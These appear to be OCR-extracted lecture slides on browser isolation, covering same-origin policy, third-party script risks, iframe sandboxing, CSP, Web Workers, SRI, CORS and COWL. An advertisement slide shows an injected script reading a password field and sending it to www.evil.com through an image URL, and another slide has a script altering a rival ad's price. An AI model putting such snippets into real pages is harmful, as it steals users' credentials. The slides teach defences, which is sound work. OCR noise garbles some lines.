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Modern web sites are complex
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Modern web "“site”
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Sites handle sensitive information

N

L/

# Financial data
= Online banking, tax filing, shopping, budgeting, ...
# Health data
= Genomics, prescriptions, ...
# Personal data
= Email, messaging, affiliations, ...

Goal: prevent malicious web content from stealing
information.




Basic questions
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4 How do we isolate code from different sources
= Protecting sensitive information in browser
= Ensuring some form of integrity
= Allowing modern functionality, flexible interaction

Third-party APls Third-party mashups
New password- sssssssssssssssasssas - et's get started. CZP';;}—(}{e
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Third-party libraries




More specifically
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4 How do we protect page from ads/services?

4 How to share data with cross-origin page?

4 How to protect one user from another’s content?
4 How do we protect the page from a library?

4 How do we protect page from CDN?

&




Recall Same-Origin Policy (SOP)
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# Idea: Isolate content from different origins
= Restricts interaction between compartments
= Restricts network request and response

c.com a.com b.com




Recall Same-Origin Policy (sop)
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Recall Same-Origin Policy (sop)
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Recall Same-Origin Policy (sop)
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XmlHttpRequest follows same-origin policy




Recall Same-Origin Policy (sop)
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Same-origin policy summary
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# Isolate content from different origins
= E.g., can’t access document of cross-origin page
= E.g., can't inspect responses from cross-origin

B-ca)ld &) B - -
1’ DOM access

postMessage

JSON @ a.com




Example:Library === jQuerv
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# Library included using tag Third-party libraries
= <script src="jquery.js"></script>
4 No isolation
= Runs in same frame, same origin as rest of page
4 May contain arbitrary code
= Library developer errors or malicious trojan horse
= Can redefine core features of JavaScript
= May violate developer invariants, assumptions

jQuery used by 78% of the Quantcast top 10,000 sites, over 59% of the top million



Second example: advertisement

4 <script src="https://adpublisher.com/ad1.js"></script>
<script src="https://adpublisher.com/ad2.js"> </script>

| | | | I &

Read password using the DOM API e E———
var ¢ = document.getElementsByName(“password”)[Q] e roroestsomee

Fabulous

Directly embedded third-party
JavaScript poses a threat to critical
hosting page resources

Send it to evil location (not subject to SOP)

<img src=""http::www.evil.com/info.jpg?_info_"> Cupaleniivgiil

14



Second example: Ad vs Ad

<script src="http://adpublisher.com/ad1.js"> </script>

ﬁjﬁ <script src="http://adpublisher.com/ad2.js"> </script>

Sort news by: Recently Popular | | | | |

Fabulous

Directly embedded third-party
JavaScript poses a threat to other
third-party components

Attack the other ad: Change the price !
var a = document.getElementById(“sonyAd”)
a.innerHTML = “$1 Buy NOW"; SHOP NOW @

www.shoppersstop.com

BREC 1 Buy N
= ®. $ u OW INDIANTAGS is social news submiting
site.vote for be i




Same-Origin Policy
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4 Limitations:

= Some DOM objects leak data
» Image size can leak whether user logged in

= Data exfiltration is trivial
» Can send data in image request
* Any XHR request can contain data from page

= Cross-origin scripts run with privilege of page
+» Injected scripts can corrupt and leak user data!




In some ways, too strict
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# Can't read cross-origin responses
= What if we want to fetch data from provider.com?
= JSONP

» To fetch data, insert new script tag:
<script src="https://provider.com/getData?cb=f">
</script>

+ To share data, reply back with script wrapping
data: f({...data...})

4 Why is this dangerous?
= Provider data can easily be leaked (CSRF)
= Page is not protected from provider (XSS)




Goal: Password-strength checker
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New password- see Pascword strength:  Strong

b.ru/chk.html

a.com

# Strength checker can run in a separate frame
= Communicate by postMessage
= But we give password to untrusted code!

# Is there any way to make sure untrusted code does
not export our password?




Useful concept: browsing context
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@ A browsing context may be

= A frame with its DOM
= A web worker (thread), which does not have a DOM
@ Every browsing context
= Has an origin, determined by protocol, host, port#
= Is isolated from others by same-origin policy
= May communicate to others using postMessage
= Can make network requests using XHR or tags (<image>, ...)

r N1 N 4 N B N
Process 1 I Process 2 Tab 1 I Tab 2
i |
0 |
skype [ keypassx weather.it 1 bank.ch
\ J B Y, \_ J B V,
Filesystem Cookies/HTMLS local storage




Modern Structuring Mechanisms

m) HTMLS iframe Sandbox
= Load with unique origin, limited privileges
# Content Security Policy (CSP)

= Whitelist instructing browser to only execute or
render resources from specific sources

® HTML5 Web Workers

= Separate thread; isolated but same origin

= Not originally intended for security, but helps
@ SubResource integrity (SRI)
@ Cross-Origin Resource Sharing (CORS)

= Relax same-origin restrictions




HTML5 Sandbox
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#® Idea: restrict frame actions

= Directive sandbox
ensures iframe has unique
origin and cannot execute
JavaScript

a.com

a.com

= Directive sandbox allow-scripts

ensures iframe has unique
origin

a.com

a.com




HTML5 Sandbox
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# Idea: restrict frame actions
= Directive sandbox
ensures iframe has unique
origin and cannot execute
JavaScript

a.com

= Directive sandbox allow-scripts
ensures iframe has unique
origin

a.com

a.com




HTML5 Sandbox
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# Idea: restrict frame actions
= Directive sandbox
ensures iframe has unique
origin and cannot execute
JavaScript

a.com

= Directive sandbox allow-scripts
ensures iframe has unique
origin

a.com




Sandbox example
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< Twitter button in iframe

<iframe src=
"https://platform.twitter.com/widgets/tweet_button.html"
style="border: 0; width:130px; height:20px;"> </iframe>

4 Sandbox: remove all permissions and then allow
JavaScript, popups, form submission, and twitter.com
cookies

<iframe sandbox="allow-same-origin allow-scripts allow-popups

allow-forms"

src="https://platform.twitter.com/widgets/tweet_button.html|"
style="border: 0; width:130px; height:20px;"></iframe>




Sandbox permissions
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< allow-forms allows form submission

4 allow-popups allows
4 allow-pointer-lock a
4 allow-same-origin a

DOPUPS
lows pointer lock (mouse moves)
lows the document to maintain

its origin; pages loaded

from https://example.com/ will

retain access to that origin’s data.

# allow-scripts allows JavaScript execution, and also
allows features to trigger automatically (as they'd be

trivial to implement via

JavasScript)

4 allow-top-navigation allows the document to break
out of the frame by navigating the top-level window

http://www.html5rocks.com/en/tutorials/security/sandboxed-iframes/




Modern Structuring Mechanisms

N

L/

@ HTMLS5 iframe Sandbox
= Load with unique origin, limited privileges
# Content Security Policy (CSP)

= Whitelist instructing browser to only execute or
render resources from specific sources

® HTML5 Web Workers

= Separate thread; isolated but same origin

= Not originally intended for security, but helps
@ SubResource integrity (SRI)
@ Cross-Origin Resource Sharing (CORS)

= Relax same-origin restrictions




Content Security Policy (CSP)
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# Goal: prevent and limit damage of XSS

= XSS attacks bypass the same origin policy by
tricking a site into delivering malicious code along
with intended content

4 Approach: restrict resource loading to a white-list

= Prohibits inline scripts embedded in script tags,
inline event handlers and javascript: URLS

= Disable JavaScript eval(), new Function(), ...

= Content-Security-Policy HTTP header allows site
to create whitelist, instructs the browser to only
execute or render resources from those sources

http://www.html5rocks.com/en/tutorials/security/content-security-policy/




Content Security Policy (CSP)
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# Goal: prevent and limit damage of XSS attacks
4 Approach: restrict resource loading to a white-list
= E.qg., default-src ‘self’ http://b.com; img-src *

c.com a.com




Content Security Policy (CSP)
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# Goal: prevent and limit damage of XSS attacks
4 Approach: restrict resource loading to a white-list
= E.qg., default-src ‘self’ http://b.com; img-src *

c.com a.com b.com




Content Security Policy (CSP)
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# Goal: prevent and limit damage of XSS attacks
4 Approach: restrict resource loading to a white-list
= E.qg., default-src ‘self’ http://b.com; img-src *

c.com a.com




Content Security Policy (CSP)
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# Goal: prevent and limit damage of XSS attacks
4 Approach: restrict resource loading to a white-list
= E.qg., default-src ‘self’ http://b.com; img-src *

c.com JSON a.com




Content Security Policy (CSP)
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# Goal: prevent and limit damage of XSS attacks
4 Approach: restrict resource loading to a white-list
= E.qg., default-src ‘self’ http://b.com; img-src *




Content Security Policy (CSP)
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# Goal: prevent and limit damage of XSS attacks
4 Approach: restrict resource loading to a white-list
= E.qg., default-src ‘self’ http://b.com; img-src *




Content Security Policy (CSP)
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# Goal: prevent and limit damage of XSS attacks
4 Approach: restrict resource loading to a white-list
= E.qg., default-src ‘self’ http://b.com; img-src *




Content Security Policy & Sandboxing
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4 Limitations:
= Data exfiltration is only partly contained

» Can leak to origins we can load resources from
and sibling frames or child Workers (via
postMessage)

= Scripts still run with privilege of page
+ Can we reason about security of jQuery-sized lib?




CSP resource directives
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@ script-src limits the origins for loading scripts

4 connect-src limits the origins to which you can
connect (via XHR, WebSockets, and EventSource).

@ font-src specifies the origins that can serve web fonts.
# frame-src lists origins can be embedded as frames

4 img-src lists origins from which images can be loaded.
#® media-src restricts the origins for video and audio.

# object-src allows control over Flash, other plugins

# style-src is script-src counterpart for stylesheets

@ default-src define the defaults for any directive not
otherwise specified




CSP source lists

D

! @ Specify by scheme, e.qg., https:
4 Host name, matching any origin on that host
@ Fully qualified URI, e.g., https://example.com:443
# Wildcards accepted, only as scheme, port, or in the

leftmost position of the hostname:
4 'none’ matches nothing
# 'self' matches the current origin, but not subdomains
# 'unsafe-inline' allows inline JavaScript and CSS

¢ 'unsafe-eval' allows text-to-JavaScript mechanisms
like eval




Modern Structuring Mechanisms
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@ HTMLS5 iframe Sandbox
= Load with unique origin, limited privileges
# Content Security Policy (CSP)
= Whitelist instructing browser to only execute or

render resources from specific sources
mp HTMLS5 Web Workers
= Separate thread; isolated but same origin
= Not originally intended for security, but helps
@ SubResource integrity (SRI)
@ Cross-Origin Resource Sharing (CORS)
= Relax same-origin restrictions




http://www.html5rocks.com/en/tutorials/workers/basics/

Web Worker

L/

N

4 Run in an isolated thread, loaded from separate file

var worker = new Worker('task.js'");
worker.postMessage(); // Start the worker.

4 Same origin as frame that creates it, but no DOM
4% Communicate using postMessage

var worker = new Worker(‘doWork.js');

_ worker.addEventListener('message’, function(e) {
main console.log('Worker said: ', e.data);

thread }’ false);

worker.postMessage('Hello World'); // Send data to worker

self.addEventListener('message’, function(e) {
doWork self.postMessage(e.data); // Return message it is sent
}, false);




Modern Structuring Mechanisms
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@ HTMLS5 iframe Sandbox
= Load with unique origin, limited privileges
# Content Security Policy (CSP)

= Whitelist instructing browser to only execute or
render resources from specific sources

® HTML5 Web Workers
= Separate thread; isolated but same origin
= Not originally intended for security, but helps
mp SubResource integrity (SRI)
@ Cross-Origin Resource Sharing (CORS)
= Relax same-origin restrictions




Motivation for SRI
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# Many pages pull scripts and styles from a wide variety
of services and content delivery networks.

4 How can we protect against

= downloading content from a hostile server
(via DNS poisoning, or other such means), or

= modified file on the Content Delivery Network (CDN)

jQuery.com compromised to serve malware via
drive-by download

€ Won't using HTTPS address this problem?




Subresource integrity
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# Idea: page author specifies hash of (sub)resource they
are loading; browser checks integrity

= E.g., integrity for scripts

» <link rel="stylesheet"
href="https://site53.cdn.net/style.css"
integrity="sha256-SDfwewFAE...wefjijfE" >

= E.qg., integrity for link elements
» <script src="https://code.jquery.com/jquery-
1.10.2.min.js" integrity="sha256-

C6CBOUYISOUJeqinPHWTHVgh/E1uhG5Tw+Y5qgF
QmYg=">




What happens when check fails?

N

@ Case 1 (default):

= Browser reports violation and does not render/
execute resource

@ Case 2: CSP directive with integrity-policy directive set
to report

= Browser reports violation, but may render/execute
resource




Multiple hash algorithms
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4 Authors may specify multiple hashes

E.g.,
<script src="hello_world.js"
integrity="sha256-...
sha512-...
"> < /script>

# Browser uses strongest algorithm
® Why support multiple algorithms?




Modern Structuring Mechanisms
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@ HTMLS5 iframe Sandbox
= Load with unique origin, limited privileges
# Content Security Policy (CSP)
= Whitelist instructing browser to only execute or

render resources from specific sources
® HTML5 Web Workers
= Separate thread; isolated but same origin
= Not originally intended for security, but helps
@ SubResource integrity (SRI)
#Cross-Origin Resource Sharing (CORS)
= Relax same-origin restrictions




Cross-Origin Resource Sharing (CORS)
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4 Amazon has multiple domains
= E.g., amazon.com and aws.com

# Problem: amazon.com can’t read cross-origin aws.com
= With CORS amazon.com can whitelist aws.com

' aws.com

?l&)‘% |

amazon.com evil.biz

http://www.html5rocks.com/en/tutorials/cors/




How CORS works
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@ Browser sends Origin header with XHR request
= E.g., Origin: https://amazon.com

@ Server can inspect Origin header and respond with
Access-Control-Allow-Origin header

s E.g., Access-Control-Allow-Origin:
https://amazon.com

s E.g., Access-Control-Allow-Origin: *




Modern Structuring Mechanisms
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@ HTMLS5 iframe Sandbox
= Load with unique origin, limited privileges
# Content Security Policy (CSP)

= Whitelist instructing browser to only execute or
render resources from specific sources

® HTML5 Web Workers

= Separate thread; isolated but same origin

= Not originally intended for security, but helps
@ SubResource integrity (SRI)
@ Cross-Origin Resource Sharing (CORS)

= Relax same-origin restrictions




Recall: Password-strength checker
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New password- see Pascword strength:  Strong

b.ru/chk.html

a.com

# Strength checker can run in a separate frame
= Communicate by postMessage
= But we give password to untrusted code!

# Is there any way to make sure untrusted code does
not export our password?




Confining the checker with COWL

D

%

@ Express sensitivity of data

= Checker can only receive password if its context
label is as sensitive as the password

@ Use postMessage API to send password
= Source specifies sensitivity of data at time of send

postMessage({pass: ...}, “b.ru” , Label(“a.com™))
11 -
V Py
[ X 1] *

............ N

{pass: ...}
b.ru/chk.html




Modern web site
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Challenges
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Basic questions
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4 How do we isolate code from different sources
= Protecting sensitive information in browser
= Ensuring some form of integrity
= Allowing modern functionality, flexible interaction

Third-party APls Third-party mashups
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Acting parties on a site
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@ Page developer

# Library developers

# Service providers

# Data provides

# Ad providers

# Other users

4 CDNs

@ Extension developers




Specifically
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4 How do we protect page from ads/services?

4 How to share data with cross-origin page?

4 How to protect one user from another’s content?
4 How do we protect the page from a library?

4 How do we protect page from CDN?

&




